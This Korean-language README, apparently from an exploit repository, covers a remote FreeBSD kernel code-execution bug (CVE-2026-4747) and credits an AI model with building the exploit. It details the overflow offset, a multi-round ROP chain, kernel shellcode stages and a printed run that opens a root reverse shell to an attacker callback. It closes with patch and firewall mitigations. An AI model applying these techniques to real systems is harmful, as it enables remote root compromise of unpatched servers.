
FreeBSD CVE-2026-4747용 원격 커널 RCE 익스플로잇으로, kgssapi.ko의 스택 버퍼 오버플로우를 이용해 ROP 체인과 셸코드를 통해 루트 셸을 획득합니다.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
kgssapi.ko의 스택 버퍼 오버플로 → 약 4시간 만에 루트 셸
"AI가 발견하고 악용한 최초의 원격 커널 RCE 익스플로잇. 총 소요 시간: 실제 작업 약 4시간."
— Nicholas Carlini가 Claude(Anthropic)를 사용하여 발견 · 2026년 3월 26일 게시
CVE-2026-4747은 NFS용 RPCSEC_GSS 인증을 구현하는 FreeBSD 커널 모듈인 kgssapi.ko에 존재하는 스택 버퍼 오버플로(stack buffer overflow) 취약점입니다.
svc_rpc_gss_validate() 함수는 공격자가 제어하는 credential body를 크기 검증 없이 스택의 128바이트 버퍼(rpchdr[])에 복사합니다. RPC 헤더 필드가 이미 32바이트를 차지하고 있어 96바이트만 남지만, XDR 계층은 최대 400바이트의 credential을 허용하므로 304바이트의 오버플로가 발생합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (스택 기반 버퍼 오버플로) |
| 구성 요소 | kgssapi.ko / librpcgss_sec |
| 프로토콜 | NFS / RPCSEC_GSS / Kerberos |
| 필요 권한 | 유효한 Kerberos 티켓 (낮은 권한) |
| 영향 | 원격 커널 코드 실행 → uid 0 |
| CVSS | 9.8 Critical |
| 패치 | FreeBSD-SA-26:08.rpcsec_gss |
2026년 3월 26일 ── FreeBSD가 FreeBSD-SA-26:08.rpcsec_gss 게시
크레딧: "Nicholas Carlini using Claude, Anthropic"
2026년 3월 29일 ── 오전 09:45 PDT: Claude에게 익스플로잇 개발 요청
오후 05:00 PDT: Claude가 작동하는 루트 셸 전달
총 소요: 약 7시간(실제 경과) / Claude 실제 작업 약 4시간
인간은 해당 과정의 대부분을 자리 비운 상태였음.
/* svc_rpc_gss_validate() — kgssapi.ko 내부 */
uint8_t rpchdr[128]; /* 스택 버퍼 */
/* RPC 헤더 필드가 이미 32바이트를 소비 */
/* 96바이트만 남음 */
/* XDR은 최대 400바이트의 credential 허용 */
/* 400 - 96 = 304바이트 오버플로 → RIP 하이재킹 */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: 크기 검증 없음 */
FreeBSD 14.x에는 다음이 없습니다:
int32_t[])에 대한 스택 카나리이로 인해 오버플로 → RIP 제어가 직접적으로 가능합니다.
공격자 (네트워크)
│
│ nfs/target@REALM에 대한 유효한 Kerberos 티켓
│
▼
NFS 서버 (포트 2049/TCP)
│
│ credential_len = 400인 RPCSEC_GSS 요청
│
▼
svc_rpc_gss_validate() ← 커널 링 0
│
│ 크기 검증 없는 memcpy
│ [128바이트 버퍼 + 304바이트 오버플로]
│
▼
스택 스매싱 → RIP 제어 → ROP 체인 → 셸코드
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 리버스 셸
Claude는 advisory에서 루트 셸까지 도달하기 위해 6가지 서로 다른 문제를 해결했습니다:
# FreeBSD 14.4-RELEASE VM:
# - 2+ CPU (FreeBSD는 CPU당 8개의 NFS 스레드를 생성; 익스플로잇은 15라운드 필요)
# - kgssapi.ko 로드됨
# - NFS가 포트 2049에서 활성화
# - MIT Kerberos KDC 구성 (취약 코드 도달에 필요)
# - QEMU 포트 포워딩: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# 공격자 측 중요 Kerberos 설정:
# /etc/krb5.conf
[libdefaults]
rdns = false # 이 설정이 없으면: nfs/localhost@REALM 티켓 (잘못됨)
dns_canonicalize_hostname = false # 서버가 KRB5KRB_AP_WRONG_PRINC로 거부
셸코드는 432바이트이지만 패킷당 ROP 체인에는 200바이트만 사용 가능합니다.
라운드 1: ROP → pmap_change_prot(BSS, RWX) ← BSS를 실행 가능하게 만들기
라운드 2-14: ROP → 셸코드 32바이트를 BSS에 쓰기 (4회 쓰기 × 8바이트)
라운드 15: ROP → 마지막 바이트 쓰기 + 셸코드로 JUMP
라운드당 예산: 4회 쓰기 × 40바이트 = 160바이트 + 24바이트 exit = 184바이트 ✓ (< 200)
; 각 라운드는 정상 반환 대신 kthread_exit(0)로 종료
; 서버는 충돌하지 않음 — NFS 스레드 하나만 손실
; 2 CPU 기준: 16개 스레드 사용 가능 → 15라운드에 충분
# De Bruijn 시퀀스 → 8바이트 부분 문자열이 모두 고유
# credential body로 전송 → 커널 충돌 → 크래시 덤프에서 RIP 읽기
# 디스어셈블리는 오프셋 168을 가리켰지만 → 실제: 200바이트
# 차이: 정적 분석에서 고려하지 않은 GSS 헤더 32바이트
pattern = cyclic(400) # 400바이트 De Bruijn
# 크래시 덤프: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
셸코드는 vmspace도 trapframe도 없는 순수 커널 NFS 스레드에서 실행됩니다.
/* 1단계 (하이재킹된 NFS 스레드의 셸코드 내부): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* NFS 스레드를 깔끔하게 종료 */
/* 2단계 (새 프로세스 내부): */
/* 1. 디버그 레지스터 정리 (하드웨어 버그 - 5단계 참조) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. /bin/sh 실행 */
kern_execve("/bin/sh", args, envp);
/* 3. 중요: P_KPROC 플래그 정리 */
/* 이 작업이 없으면 fork_exit()가 kthread_exit()를 호출하여 프로세스 종료 */
proc->p_flag &= ~P_KPROC;
/* 4. 반환 → fork_exit() → userret() → iretq → 링 3 → uid=0 셸 */
증상: 자식 프로세스가 유효한 명령에서 trap 1 (디버그 예외)로 충돌.
원인: kproc_create/fork1이 부모의 PCB를 복사하여, 익스플로잇 개발 중
이전 충돌에서 남은 DDB 브레이크포인트를 상속.
해결: kproc_create 직전에 두 명령 추가:
xor eax, eax
mov dr7, rax ← 모든 하드웨어 브레이크포인트 비활성화
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS 원격 커널 RCE
스택 오버플로 → ROP → 셸코드 → uid 0 리버스 셸
==============================================================
대상: 127.0.0.1:2049
콜백: 10.0.2.2:4444
SPN: nfs/[email protected]
셸코드: 432바이트 (54 qwords)
전달: 15라운드 (1 pmap + 14 쓰기)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS가 이제 RWX
[R2/15] 쓰기 (4 qwords → 0xffffffff8198a800) ✓
[R3/15] 쓰기 (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] 쓰기 + 실행 → JUMP 0xffffffff8198a800
[*] 셸코드 전달 및 실행 중.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] 리버스 셸 → 10.0.2.2:4444
[+] 127.0.0.1:41320에서 연결
[+] 셸 획득!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# FreeBSD 14.4-RELEASE 다운로드
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso
# 디스크 생성 및 2+ CPU로 VM 부팅
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
-hda freebsd-vuln.qcow2 \
-cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
-m 2G \
-smp 2 \ # 16+ NFS 스레드를 위한 2+ CPU
-net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-net nic \
-nographic 2>&1 | tee qemu.log # 크래시 덤프 읽기용 로그
# FreeBSD 내부: NFS + Kerberos 설정
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf
# 기본 KDC 설정
pkg install heimdal
# principal 생성: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]
1. VMware에 FreeBSD 14.4-RELEASE 설치
2. 네트워크 어댑터에서 "NAT" 또는 "Host-only" 선택
3. VMware NAT에서 포트 포워딩 구성:
- 호스트 2049 TCP → 게스트 2049
- 호스트 88 TCP/UDP → 게스트 88 (KDC)
4. QEMU와 동일한 NFS/Kerberos 설정
5. 공격자 /etc/krb5.conf에서:
kdc = 127.0.0.1:88 (포트 포워딩을 가리킴)
# FreeBSD를 패치된 버전으로 업데이트
freebsd-update fetch install
# advisory가 패치되었는지 확인
freebsd-version -k # SA-26:08 이후 버전이 표시되어야 함
# 1. RPCSEC_GSS가 필요하지 않으면 kgssapi 비활성화
kldunload kgssapi
# /boot/loader.conf에 추가:
# kgssapi_load="NO"
# 2. 방화벽으로 NFS 접근 제한
ipfw add deny tcp from any to any 2049 not via lo0
# 또는 pf 사용:
# block in quick on em0 proto tcp to port 2049
# 3. 신뢰할 수 있는 IP에서만 Kerberos 인증 요구
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0
컴퓨터는 수십 년 동안 퍼저로 버그를 찾아왔습니다. 하지만 버그를 찾는 것과 익스플로잇하는 것은 완전히 다른 일입니다. 익스플로잇 개발은 커널 이해, ROP 체인 구축, 메모리 레이아웃 처리, 크래시 디버깅, 그리고 실패 시 적응을 요구합니다.
그것은 항상 인간만의 영역으로 여겨졌습니다.
CVE-2026-4747은 그 경계선이 이동했음을 증명합니다.
Claude는 약 4시간 만에 커널 익스플로잇 개발의 6가지 문제를 자율적으로 해결했습니다: 실험실 설정, 멀티 패킷 전달, 깔끔한 스레드 종료, 오프셋 디버깅, 커널-유저랜드 전환, 그리고 문서화되지 않은 하드웨어 브레이크포인트 버그. 서로 다른 전략을 사용한 두 개의 작동하는 익스플로잇. 둘 다 첫 시도에 성공했습니다.
이 저장소는 사이버 보안 연구, 기술 문서화 및 교육 목적으로만 제공됩니다. 여기에 문서화된 익스플로잇은 통제된 환경에서 개발되었으며 게시 전에 FreeBSD 유지관리자에게 책임 있게 보고되었습니다. 명시적인 서면 승인 없이 시스템에 사용하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.
원본 크레딧: Nicholas Carlini + Claude (Anthropic) Advisory: FreeBSD-SA-26:08.rpcsec_gss
스택 오버플로 → ROP → 셸코드 → kproc_create → iretq → uid=0